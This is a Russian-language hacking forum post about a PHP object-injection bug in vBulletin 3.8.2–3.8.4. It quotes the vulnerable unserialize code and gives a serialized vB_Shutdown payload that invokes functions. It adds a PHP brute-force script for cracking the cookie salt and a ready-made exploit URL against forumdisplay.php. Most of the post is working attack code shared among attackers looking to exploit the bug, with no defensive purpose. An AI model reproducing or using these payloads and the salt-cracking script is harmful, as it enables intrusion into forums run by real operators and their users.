Показать сообщение отдельно

  #9  
Старый 24.02.2010, 15:17
Soul Linker
Новичок
Регистрация: 05.09.2006
Сообщений: 15
С нами: 10358222

Репутация: 5
По умолчанию

Цитата:
Сообщение от Root-access  
...
Имеем:
Код:
Fatal error: Cannot use object of type vB_Shutdown as array in /home/xek/domains/xeka.ru/public_html/forum/forumdisplay.php on line 169
Потомучто там
Код:
$temp = unserialize($check);
if ($temp['do'] == 'doenterpwd')
{
	$vbulletin->GPC['postvars'] = '';
}
Соответственно переделываем сериализованную часть:
echo serialize(array('do'=>'do', 'obj' => new vB_Shutdown));
Код:
a:2:{s:2:"do";s:2:"do";s:3:"obj";O:11:"vB_Shutdown":1:{s:8:"shutdown";a:1:{i:0;s:7:"phpinfo";}}}
но как с толком использовать вызов функции без параметров?

ps У нуленых by DGT 'COOKIE_SALT' не пустой.
pss, но вполне брутабельный.
Брутится исходя из куки "bbforum_view". Например
f544eb9368b8ac964d27534650bff240510eb278a-1-{i-3_i-1267278281_}
Первые 40 символов это хэш соленого сериал. массива:
Код:
$c = '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ_'; // 36 chars
//							20
$inp = intval(@$argv[1]);

$salt = 'VBF';

for ($a1 = $inp; $a1 <= 35; $a1++)
{
	$salt[3] = $c[$a1];
	for ($a2 = 0; $a2 <= 35; $a2++)
	{
		$salt[4] = $c[$a2];
		for ($a3 = 0; $a3 <= 35; $a3++)
		{
			$salt[5] = $c[$a3];
			for ($a4 = 0; $a4 <= 35; $a4++)
			{
				$salt[6] = $c[$a4];
				echo $salt."\n";
				for ($a5 = 0; $a5 <= 35; $a5++)
				{
					$salt[7] = $c[$a5];
					for ($a6 = 0; $a6 <= 35; $a6++)
					{
						$salt[8] = $c[$a6];
						for ($a7 = 0; $a7 <= 35; $a7++)
						{
							$salt[9] = $c[$a7];
							if (sha1('a-1-{i-3_i-1267278281_}' . sha1($salt) ) === 'f544eb9368b8ac964d27534650bff240510eb278')
								die('Found: '.$salt);
						}
					}
				}
			}
		}
	}
}
для большинства форумов 3.8.2 ~ 3.8.4 подходит:

Может сказать что не существует такого форума, тогда надо будет подшаманить ?f=26

http://site.com/forumdisplay.php?f=26&do=doenterpwd&newforumpwd=&p ostvars=efeba30e34b02bd0fcdb07795c42eaedad5bf111a: 2:{s:2:%22do%22;s:2:%22do%22;s:3:%22obj%22;O:11:%2 2vB_Shutdown%22:1:{s:8:%22shutdown%22;a:3:{i:0;s:7 :%22phpinfo%22;i:1;s:21:%22debug_print_backtrace%2 2;i:2;s:3:%22die%22;}}}

Никто так и не придумал как эту багу использовать то? :/

Последний раз редактировалось Soul Linker; 01.06.2010 в 12:50..
 
Ответить с цитированием